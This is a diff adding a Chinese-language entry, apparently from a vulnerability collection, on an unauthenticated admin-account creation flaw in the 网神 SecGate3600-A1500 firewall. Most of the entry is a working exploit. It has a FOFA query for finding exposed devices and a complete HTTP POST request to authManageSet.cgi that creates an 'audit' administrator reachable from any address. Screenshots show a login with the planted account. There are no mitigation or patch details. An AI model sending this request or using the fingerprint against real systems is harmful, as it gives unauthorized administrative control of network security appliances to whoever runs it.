8.4更新漏洞

网神SecGate3600未授权添加用户漏洞.md

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+# 网神SecGate3600未授权添加用户漏洞
+
+网神SecGate3600-A1500会话鉴权逻辑存在问题导致，登录绕过获取管理员权限。
+
+## fofa
+
+```yaml
+"sec_gate_image/button_normal.gif"
+```
+
+## poc
+
+```java
+POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
+Accept: application/xml, text/xml, */*; q=0.01
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+X-Requested-With: XMLHttpRequest
+Content-Length: 93
+Connection: close
+
+type=saveAdmin&id=2&userName=audit&pwd=audit@1234&net=0.0.0.0&mask=0.0.0.0&port=ANY&allow=Y
+```
+
+![image-20240803125438422](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408031254480.png)
+
+使用添加的用户登录
+
+![image-20240803125457727](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408031254792.png)